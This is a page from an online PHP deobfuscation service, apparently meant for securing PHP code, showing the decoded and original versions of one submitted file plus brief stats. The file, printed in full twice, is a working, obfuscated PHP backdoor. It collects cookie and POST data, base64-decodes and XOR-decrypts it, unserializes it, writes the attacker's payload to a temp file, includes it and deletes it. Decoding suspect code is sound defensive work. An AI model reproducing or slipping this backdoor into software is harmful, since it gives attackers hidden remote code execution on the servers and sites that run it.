Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ..
Decoded Output download
<?php if (!class_exists("ihubtfht")){class ihubtfht{public static $gientes = "bfysrtgbsxdodzzb";public static $kobzoyllz = NULL;public function __construct(){$fruxguv = @$_COOKIE[substr(ihubtfht::$gientes, 0, 4)];if (!empty($fruxguv)){$birmkzw = "base64";$yfxuakjg = "";$fruxguv = explode(",", $fruxguv);foreach ($fruxguv as $cxsqthfpkd){$yfxuakjg .= @$_COOKIE[$cxsqthfpkd];$yfxuakjg .= @$_POST[$cxsqthfpkd];}$yfxuakjg = array_map($birmkzw . "_decode", array($yfxuakjg,));$yfxuakjg = $yfxuakjg[0] ^ str_repeat(ihubtfht::$gientes, (strlen($yfxuakjg[0]) / strlen(ihubtfht::$gientes)) + 1);ihubtfht::$kobzoyllz = @unserialize($yfxuakjg);}}public function __destruct(){$this->rznqkkulxk();}private function rznqkkulxk(){if (is_array(ihubtfht::$kobzoyllz)) {$ucchzu = sys_get_temp_dir() . "/" . crc32(ihubtfht::$kobzoyllz["salt"]);@ihubtfht::$kobzoyllz["write"]($ucchzu, ihubtfht::$kobzoyllz["content"]);include $ucchzu;@ihubtfht::$kobzoyllz["delete"]($ucchzu);exit();}}}$lfxuint = new ihubtfht();$lfxuint = NULL;} ?><?php ?>
Did this file decode correctly?
Original Code
<?php if (!class_exists("ihubtfht")){class ihubtfht{public static $gientes = "bfysrtgbsxdodzzb";public static $kobzoyllz = NULL;public function __construct(){$fruxguv = @$_COOKIE[substr(ihubtfht::$gientes, 0, 4)];if (!empty($fruxguv)){$birmkzw = "base64";$yfxuakjg = "";$fruxguv = explode(",", $fruxguv);foreach ($fruxguv as $cxsqthfpkd){$yfxuakjg .= @$_COOKIE[$cxsqthfpkd];$yfxuakjg .= @$_POST[$cxsqthfpkd];}$yfxuakjg = array_map($birmkzw . "_decode", array($yfxuakjg,));$yfxuakjg = $yfxuakjg[0] ^ str_repeat(ihubtfht::$gientes, (strlen($yfxuakjg[0]) / strlen(ihubtfht::$gientes)) + 1);ihubtfht::$kobzoyllz = @unserialize($yfxuakjg);}}public function __destruct(){$this->rznqkkulxk();}private function rznqkkulxk(){if (is_array(ihubtfht::$kobzoyllz)) {$ucchzu = sys_get_temp_dir() . "/" . crc32(ihubtfht::$kobzoyllz["salt"]);@ihubtfht::$kobzoyllz["write"]($ucchzu, ihubtfht::$kobzoyllz["content"]);include $ucchzu;@ihubtfht::$kobzoyllz["delete"]($ucchzu);exit();}}}$lfxuint = new ihubtfht();$lfxuint = NULL;} ?><?php
Function Calls
class_exists | 1 |
Stats
MD5 | c5ab4a04f71bbcb695a1ddadb821f542 |
Eval Count | 0 |
Decode Time | 52 ms |